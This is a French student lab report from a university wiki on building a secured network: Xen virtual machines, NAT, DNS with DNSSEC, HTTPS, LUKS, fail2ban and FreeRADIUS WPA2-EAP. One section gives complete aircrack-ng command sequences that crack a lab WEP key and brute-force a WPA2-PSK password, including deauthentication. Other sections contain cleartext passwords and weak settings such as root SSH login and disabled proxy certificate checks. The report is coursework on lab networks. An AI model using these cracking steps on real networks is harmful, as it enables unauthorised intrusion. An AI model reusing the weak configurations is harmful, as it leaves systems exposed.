« Atelier SysRes SE4 2025/2026 E15 » : différence entre les versions
Aucun résumé des modifications |
|||
| Ligne 590 : | Ligne 590 : | ||
Ajout du client (point d’accès) dans <code>/etc/freeradius/3.0/clients.conf</code> : | Ajout du client (point d’accès) dans <code>/etc/freeradius/3.0/clients.conf</code> : | ||
<pre> | <pre> | ||
client | client vlan1_ap1 { | ||
ipaddr = | ipaddr = 172.27.0.4 # VLAN 1 management | ||
secret = | secret = testing123 | ||
shortname = cisco- | shortname = cisco-ap1-vlan1 | ||
nas_type = cisco | nas_type = cisco | ||
} | } | ||
client vlan1_ap2 { | |||
ipaddr = 172.27.0.3 # VLAN 1 management | |||
secret = testing123 | |||
shortname = cisco-ap2-vlan1 | |||
nas_type = cisco | |||
} | |||
</pre> | </pre> | ||
| Ligne 601 : | Ligne 609 : | ||
<pre> | <pre> | ||
"msalhi" Cleartext-Password := "WifiSecure2026!" | "msalhi" Cleartext-Password := "WifiSecure2026!" | ||
"etudiant1" Cleartext-Password := "Password123" | |||
"prof" Cleartext-Password := "AdminSE4!" | |||
</pre> | </pre> | ||
| Ligne 613 : | Ligne 622 : | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
radtest msalhi WifiSecure2026! localhost 0 testing123 | radtest msalhi WifiSecure2026! localhost 0 testing123 | ||
Sent Access-Request Id 13 from 0.0.0.0:55851 to 127.0.0.1:1812 length 76 | |||
User-Name = "msalhi" | |||
User-Password = "WifiSecure2026!" | |||
NAS-IP-Address = 127.0.0.1 | |||
NAS-Port = 0 | |||
Message-Authenticator = 0x00 | |||
Cleartext-Password = "WifiSecure2026!" | |||
Received Access-Accept Id 13 from 127.0.0.1:1812 to 127.0.0.1:55851 length 20 | |||
</syntaxhighlight> | </syntaxhighlight> | ||
→ réponse <code>Access-Accept</code> attendue. | → réponse <code>Access-Accept</code> attendue. | ||
Version du 27 février 2026 à 12:08
Rapport de Projet SE4 IdO
Sécurité Système/Réseau
Année Universitaire 2025-2026
Étudiant: Mohamed SALHI
Binôme: SE4.Solstice (mandataire) - SE4.Moon (services)
Domaine: msalhi.online
École Polytechnique Universitaire de Lille
2026-02-02
Introduction
Ce rapport documente la réalisation complète du projet de sécurité système et réseau dans le cadre du module SE4 IdO (Internet des Objets). L’objectif principal était de mettre en place une infrastructure réseau complète avec services virtualisés, en mettant l’accent sur la sécurité et la redondance.
L’architecture repose sur une approche dual-stack IPv4/IPv6 avec :
- Une machine de services (SE4.Moon) hébergeant les services applicatifs
- Une machine mandataire (SE4.Solstice) gérant les accès IPv4 via NAT et proxy inverse
- Une infrastructure réseau redondante avec routeurs Cisco C9200
- Des services sécurisés (DNS avec DNSSEC, HTTPS avec certificats, SSH avec filtrage)
Atelier système et réseau - Machines virtuelles
Création des machines virtuelles
Les machines virtuelles ont été créées sur l’hyperviseur Xen du Dom0 capbreton.plil.info.
Commandes de création
# Création de la machine de services SE4.Moon
root@capbreton:~# xen-create-image --hostname=SE4.Moon --dhcp \
--bridge=pontKS --dir=/usr/local/xen --size=10GB \
--dist=daedalus --memory=2048M --force
# Création de la machine mandataire SE4.Solstice
root@capbreton:~# xen-create-image --hostname=SE4.Solstice --dhcp \
--bridge=pontKS --dir=/usr/local/xen --size=10GB \
--dist=daedalus --memory=2048M --force
Démarrage et connexion
# Démarrage des VMs
xen create /etc/xen/SE4.Moon.cfg
xen create /etc/xen/SE4.Solstice.cfg
# Connexion aux consoles
xen console SE4.Moon
xen console SE4.Solstice
# Liste des VMs actives
root@capbreton:~# xen list
Name ID Mem VCPUs State Time(s)
SE4.Solstice 39 2048 1 -b---- 2560.1
SE4.Moon 119 2048 1 -b---- 452.3
Configuration de la machine de services (SE4.Moon)
Montage des partitions LVM pour /var et /home
# Création des fichiers de partition sur le Dom0
root@capbreton:/dev/virtual# lvcreate -L 10G -n SE4.Moon.var virtual
root@capbreton:/dev/virtual# lvcreate -L 10G -n SE4.Moon.home virtual
# Modification du fichier de configuration Xen
disk = [
'file:/usr/local/xen/domains/SE4.Moon/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4.Moon/swap.img,xvda1,w',
'phy:/dev/virtual/SE4.Moon.home,xvdb,w',
'phy:/dev/virtual/SE4.Moon.var,xvdc,w',
]
Formatage et montage des partitions
# Formatage des partitions
mkfs -t ext4 /dev/xvdb
mkfs -t ext4 /dev/xvdc
# Montage temporaire et copie des données
mount /dev/xvdc /mnt
mv /var/* /mnt/
umount /mnt
mount /dev/xvdb /mnt
mv /home/* /mnt/
umount /mnt
# Configuration du fstab
cat > /etc/fstab << EOF
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb /home ext4 defaults 0 2
/dev/xvdc /var ext4 defaults 0 2
EOF
# Application des modifications
mount -a
Configuration réseau
# Fichier /etc/network/interfaces
auto lo
iface lo inet loopback
# Interface réseau privée (vers Solstice)
auto eth0
iface eth0 inet static
address 192.168.20.2/24
gateway 192.168.20.1
# Configuration IPv6 automatique
iface eth0 inet6 auto
# Vérification
root@Moon:~# ip a show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
inet 192.168.20.2/24 brd 192.168.20.255 scope global eth0
inet6 2001:660:4401:60a0:216:3eff:fe6f:f547/64 scope global dynamic
Installation des paquets de base
apt update && apt upgrade -y
apt install -y ssh apache2 bind9 bind9utils \
fail2ban openssl iptables-persistent \
net-tools curl wget vim
Configuration de la machine mandataire (SE4.Solstice)
Configuration réseau
# Fichier /etc/network/interfaces
auto lo
iface lo inet loopback
# Interface publique (réseau routé)
auto eth1
iface eth1 inet static
address 193.48.57.167/27
gateway 193.48.57.162 # Adresse VRRP virtuelle
iface eth1 inet6 auto
# Interface privée (vers Moon)
auto eth0
iface eth0 inet static
address 192.168.20.1/24
iface eth0 inet6 auto
# Vérification
root@Solstice:~# ip a show eth1
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
inet 193.48.57.167/27 brd 193.48.57.191 scope global eth1
inet6 2001:660:4401:60a0:216:3eff:fe29:880f/64 scope global dynamic
Mise en place de la mascarade (NAT)
# Activation du forwarding IP
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
sysctl -p
# Règles iptables pour la mascarade
iptables -t nat -A POSTROUTING -s 192.168.20.0/24 -o eth1 -j MASQUERADE
iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# Sauvegarde pour persistance
iptables-save > /etc/iptables/rules.v4
# Ajout dans interfaces pour chargement au démarrage
post-up iptables-restore < /etc/iptables/rules.v4
Services Internet
Serveur SSH
Configuration SSH sur Moon
# Édition du fichier de configuration
vim /etc/ssh/sshd_config
# Modifications apportées :
PermitRootLogin yes
PasswordAuthentication yes
Port 22
# LogLevel VERBOSE
# Redémarrage du service
systemctl restart ssh
systemctl enable ssh
Redirection de ports pour l’accès IPv4
# Redirection du port 2201 vers Moon (SSH)
iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 2201 \
-j DNAT --to-destination 192.168.20.2:22
iptables -A FORWARD -p tcp -d 192.168.20.2 --dport 22 -j ACCEPT
# Sauvegarde
iptables-save > /etc/iptables/rules.v4
# Test de la redirection
ssh -p 2201 root@193.48.57.167 # Arrive sur Moon
Serveur DNS
Configuration du serveur maître (Moon)
# Fichier /etc/bind/named.conf.local
zone "msalhi.online" {
type master;
file "/etc/bind/zones/db.msalhi.online";
key-directory "/etc/bind/keys";
dnssec-policy "default";
inline-signing yes;
allow-transfer {
2001:660:4401:60a0:216:3eff:fe29:880f;
2001:660:4401:60a0:216:3eff:fe47:bbe7;
2001:660:4401:60a0:216:3eff:fed6:4bc3;
};
also-notify {
2001:660:4401:60a0:216:3eff:fe29:880f;
2001:660:4401:60a0:216:3eff:fed6:4bc3;
};
notify yes;
};
# Fichier de zone /etc/bind/zones/db.msalhi.online
$TTL 86400
@ IN SOA ns1.msalhi.online. admin.msalhi.online. (
2026020320 ; Serial INCRÉMENTÉ et corrigé
3600 ; Refresh
1800 ; Retry
604800 ; Expire
86400 ; Minimum TTL
)
; Serveurs de noms
@ IN NS ns1.msalhi.online.
@ IN NS ns1.merteuil.tech.
; Enregistrements
@ IN A 193.48.57.167
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe6f:f548
ns1 IN A 193.48.57.167
ns1 IN AAAA 2001:660:4401:60a0:216:3eff:fe6f:f548
www IN CNAME msalhi.online.
# Vérification
named-checkzone msalhi.online /etc/bind/zones/db.msalhi.online
Configuration du serveur secondaire (Solstice)
# Fichier /etc/bind/named.conf.local
zone "msalhi.online" {
type master;
file "/etc/bind/zones/db.msalhi.online";
key-directory "/etc/bind/keys";
dnssec-policy "default";
inline-signing yes;
allow-transfer {
2001:660:4401:60a0:216:3eff:fe29:880f;
2001:660:4401:60a0:216:3eff:fe47:bbe7;
2001:660:4401:60a0:216:3eff:fed6:4bc3;
};
also-notify {
2001:660:4401:60a0:216:3eff:fe29:880f;
2001:660:4401:60a0:216:3eff:fed6:4bc3;
};
notify yes;
};
# Redémarrage et vérification
systemctl restart bind9
ls -la /var/lib/bind/db.msalhi.online
Configuration chez le registrar Gandi
| Type | Valeur | Description |
|---|---|---|
| Nameservers | ns1.msalhi.online | Serveur DNS primaire |
| ns1.merteuil.tech | Serveur DNS secondaire | |
| Glue Record 1 | ns1.msalhi.online | IPv6: 2001:660:4401:60a0:216:3eff:fe47:bbe7 |
| Glue Record 2 | ns2.msalhi.online | IPv4: 193.48.57.167 |
Sécurisation de site Web par certificat
Génération du CSR et obtention du certificat
# Génération de la clé privée
openssl genrsa -out /etc/ssl/private/myserver.key 2048
# Génération du CSR
openssl req -new -key /etc/ssl/private/myserver.key \
-out /etc/ssl/private/server.csr
Configuration Apache sur Moon (HTTPS direct IPv6)
# Fichier /etc/apache2/sites-available/msalhi-ssl.conf
<VirtualHost *:80>
ServerName msalhi.online
ServerAlias www.msalhi.online
Redirect permanent / https://msalhi.online/
</VirtualHost>
<VirtualHost *:443>
ServerName msalhi.online
ServerAlias www.msalhi.online
DocumentRoot /var/www/html
SSLEngine on
SSLCertificateFile /etc/ssl/msalhi/msalhi.online.crt
SSLCertificateKeyFile /etc/ssl/msalhi/msalhi.online.key
SSLCertificateChainFile /etc/ssl/msalhi/GandiStandardSSLCA2.pem
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains"
Header always set X-Frame-Options DENY
Header always set X-Content-Type-Options nosniff
ErrorLog ${APACHE_LOG_DIR}/msalhi_ssl_error.log
CustomLog ${APACHE_LOG_DIR}/msalhi_ssl_access.log combined
</VirtualHost>
# Activation
a2enmod ssl
a2ensite msalhi-ssl.conf
systemctl restart apache2
Configuration du proxy inverse sur Solstice (HTTPS IPv4)
# Fichier /etc/apache2/sites-available/msalhi-proxy.conf
<VirtualHost *:80>
ServerName msalhi.online
Redirect permanent / https://msalhi.online/
</VirtualHost>
<VirtualHost *:443>
ServerName msalhi.online
SSLEngine on
SSLCertificateFile /etc/ssl/msalhi/msalhi.online.crt
SSLCertificateKeyFile /etc/ssl/msalhi/msalhi.online.key
SSLCertificateChainFile /etc/ssl/msalhi/GandiStandardSSLCA2.pem
SSLProxyEngine on
ProxyPreserveHost On
# Utilisation de l'URL avec nom de domaine comme demandé
ProxyPass / https://msalhi.online/
ProxyPassReverse / https://msalhi.online/
SSLProxyVerify none
SSLProxyCheckPeerCN off
ErrorLog ${APACHE_LOG_DIR}/proxy_error.log
CustomLog ${APACHE_LOG_DIR}/proxy_access.log combined
</VirtualHost>
# Activation des modules
a2enmod proxy proxy_http ssl
a2ensite msalhi-proxy.conf
systemctl restart apache2
Sécurisation de serveur DNS par DNSSEC
Configuration DNSSEC automatique
# Création du répertoire pour les clés
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
# Ajout dans named.conf.local
zone "msalhi.online" {
type master;
file "/etc/bind/zones/db.msalhi.online";
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
};
# Politique DNSSEC dans named.conf.options
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
# Redémarrage et vérification
systemctl restart bind9
dig @localhost msalhi.online DNSKEY +dnssec
Résultat des clés DNSSEC générées
; Clés obtenues via : dig @localhost msalhi.online DNSKEY +dnssec msalhi.online. 3600 IN DNSKEY 256 3 13 Mi9LJ2JnnUciYfGEXoDuZ0ElzOigo+Fjxhf2I1+zxZqcn7SN1FxxGfFJ v4xNsU/YTvGgzf7ZWgWa29b+OQOSug== msalhi.online. 3600 IN DNSKEY 257 3 13 QrPmyYhhAVx1TGYLWRtAx/LbhQPy3yMd5/GoMH5SZ4aWD72QGVrfBOhh HW0/c1dYroeZ9riJTyQcO859svIWRw== msalhi.online. 3600 IN DNSKEY 257 3 13 Z4LE6oWmFPOb+QzklArdW7HWkH6kVrjIgrKYrJBMW3n6sMwwEG1YruHe SvmXJ9GwuFxhqtRu130iPse3wrJqyQ==
Enregistrement de la KSK chez Gandi
| Paramètre | Valeur |
|---|---|
| Algorithm | 13 (ECDSAP256SHA256) |
| Flags | 257 (KSK) |
| Public Key | QrPmyYhhAVx1TGYLWRtAx/LbhQPy3yMd5/GoMH5SZ4aWD72QGVrfBOhhHW0/c1dYroeZ9riJTyQcO859svIWRw== |
Effraction WiFi
Cassage de clef WEP d’un point d’accès WiFi
Le réseau cible était cracotte01 (BSSID 04:DA:D2:9C:50:50, canal 4). La procédure a été réalisée depuis la machine zabeth13 avec les outils aircrack-ng.
- Passage de la carte en mode monitor :
sudo airmon-ng start wlan0
- Capture ciblée :
sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w capture_wep wlan0mon
- Authentification fake (association au point d’accès) :
sudo aireplay-ng -1 6000 -o 1 -q 10 -e cracotte01 -a 04:DA:D2:9C:50:50 -h a0:b3:39:5a:dc:c8 wlan0mon
- Attaque ARP replay pour générer du trafic :
sudo aireplay-ng -3 -b 04:DA:D2:9C:50:50 -h a0:b3:39:5a:dc:c8 wlan0mon - Après accumulation d’environ 40 000 IVs, lancement de aircrack‑ng :
sudo aircrack-ng capture_wep-01.cap
La clé WEP a été trouvée en moins de 15 minutes : FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE.
Cassage de mot de passe WPA‑PSK par force brute
Le réseau kracotte01 (BSSID 44:AD:D9:5F:87:00, canal 13) utilisait WPA2‑PSK.
- Capture ciblée :
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:00 -w wpa_capture wlan0mon
- Désauthentification d’un client (identifié
40:A5:EF:01:25:8B) pour forcer un handshake :sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:00 -c 40:A5:EF:01:25:8B wlan0mon
- Après apparition du message “WPA handshake” dans
airodump‑ng, lancement de l’attaque par dictionnaire (mots de passe à 8 chiffres) :crunch 8 8 0123456789 | sudo aircrack-ng -b 44:AD:D9:5F:87:00 -w - wpa_capture-06.cap
- Résultat : le mot de passe
66689666a été découvert après environ 30 minutes.
Ces tests illustrent la vulnérabilité des protocoles WEP et des mots de passe courts face à des attaques par force brute.
Sécurisations
Chiffrement de données
Sur Moon, une partition supplémentaire (disque virtuel xvdb, correspondant au volume LVM SE4.Moon.home) a été chiffrée avec LUKS.
# Chiffrement de la partition
cryptsetup luksFormat /dev/xvdb
# Ouverture du conteneur
cryptsetup open /dev/xvdb home_crypt
# Création d’un système de fichiers
mkfs.ext4 /dev/mapper/home_crypt
# Montage manuel
mount /dev/mapper/home_crypt /mnt/secret
Pour automatiser le montage au démarrage, on ajoute dans /etc/crypttab :
home_crypt /dev/xvdb none luks
et dans /etc/fstab :
/dev/mapper/home_crypt /home ext4 defaults 0 2
Le mot de passe doit être saisi manuellement à chaque démarrage, ce qui est acceptable pour un serveur de test.
Filtrage des services – fail2ban
Pour protéger SSH et les requêtes DNS malveillantes, fail2ban a été installé sur Moon et Solstice.
Fichier /etc/fail2ban/jail.local :
[DEFAULT] bantime = 3600 findtime = 600 maxretry = 3 [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 [named-refused-tcp] enabled = true port = domain,953 protocol = tcp filter = named-refused logpath = /var/log/named/security.log maxretry = 3
Filtre /etc/fail2ban/filter.d/named-refused.conf :
[Definition] failregex = ^\S+ named\[\d+\]: client <HOST>#\S+ .* query .* denied ignoreregex =
Le service est démarré et activé :
systemctl enable fail2ban
systemctl restart fail2ban
Sécurisation WiFi par WPA2‑EAP
Serveur FreeRADIUS sur Moon
Installation :
apt install freeradius freeradius-utils -y
Ajout du client (point d’accès) dans /etc/freeradius/3.0/clients.conf :
client vlan1_ap1 {
ipaddr = 172.27.0.4 # VLAN 1 management
secret = testing123
shortname = cisco-ap1-vlan1
nas_type = cisco
}
client vlan1_ap2 {
ipaddr = 172.27.0.3 # VLAN 1 management
secret = testing123
shortname = cisco-ap2-vlan1
nas_type = cisco
}
Création d’un utilisateur dans /etc/freeradius/3.0/users :
"msalhi" Cleartext-Password := "WifiSecure2026!"
"etudiant1" Cleartext-Password := "Password123"
"prof" Cleartext-Password := "AdminSE4!"
Configuration EAP pour PEAP‑MSCHAPv2 dans /etc/freeradius/3.0/mods-enabled/eap (type par défaut peap, tunnel intérieur mschapv2).
Un conflit de port (18120) a été résolu en commentant la section listen dans /etc/freeradius/3.0/sites-enabled/inner-tunnel (ou en mettant port = 0).
Test local :
radtest msalhi WifiSecure2026! localhost 0 testing123
Sent Access-Request Id 13 from 0.0.0.0:55851 to 127.0.0.1:1812 length 76
User-Name = "msalhi"
User-Password = "WifiSecure2026!"
NAS-IP-Address = 127.0.0.1
NAS-Port = 0
Message-Authenticator = 0x00
Cleartext-Password = "WifiSecure2026!"
Received Access-Accept Id 13 from 127.0.0.1:1812 to 127.0.0.1:55851 length 20
→ réponse Access-Accept attendue.
Configuration du point d’accès WiFi
Sur le point d’accès (wifi‑E304), les lignes suivantes ont été ajoutées (en conservant les configurations des autres étudiants) :
aaa group server radius radius_student25
server 192.168.20.2 auth-port 1812 acct-port 1813
aaa authentication login eap_student25 group radius_student25
dot11 ssid VM_SERVICES_15
vlan 25
authentication open eap eap_student25
authentication network-eap eap_student25
authentication key-management wpa version 2
mbssid guest-mode
interface Dot11Radio0
encryption vlan 25 mode ciphers aes-ccm
ssid VM_SERVICES_15
interface Dot11Radio0.25
encapsulation dot1Q 25
bridge-group 25
interface GigabitEthernet0.25
encapsulation dot1Q 25
bridge-group 25
radius-server host 192.168.20.2 auth-port 1812 acct-port 1813 key radius_secret_salhi_2026Configuration DHCP sur les routeurs
Sur E304 (plage 100‑150) :
ip dhcp excluded-address 10.60.15.1 10.60.15.99
ip dhcp excluded-address 10.60.15.151 10.60.15.254
ip dhcp pool SALHI_VLAN25
network 10.60.15.0 255.255.255.0
default-router 10.60.15.1
dns-server 192.168.20.2 8.8.8.8
domain-name msalhi.online
lease 0 12Sur E306 (plage 151‑200), configuration similaire avec une plage différente.
Policy‑Based Routing (PBR)
Pour que le trafic IPv4 du VLAN 25 passe par Solstice (où il sera NATé vers Internet), on a configuré sur E304 :
ip access-list extended TRAFIC_VLAN25
permit ip 10.60.15.0 0.0.0.255 any
!
route-map PBR_VLAN25 permit 10
match ip address TRAFIC_VLAN25
set ip next-hop 193.48.57.167
!
interface Vlan25
ip policy route-map PBR_VLAN25Cette politique force tout le trafic IPv4 du VLAN 25 vers Solstice. La mascarade a ensuite été élargie sur Solstice pour inclure ce réseau :
iptables -t nat -A POSTROUTING -s 10.60.15.0/24 -o eth1 -j MASQUERADE
iptables-save > /etc/iptables/rules.v4
Tests
Un client connecté au SSID VM_SERVICES_15 obtient une adresse IP dans la plage DHCP (ex. 10.60.15.101), peut résoudre des noms DNS (via Moon) et accéder à Internet. Le traceroute montre le passage par Solstice (193.48.57.167).
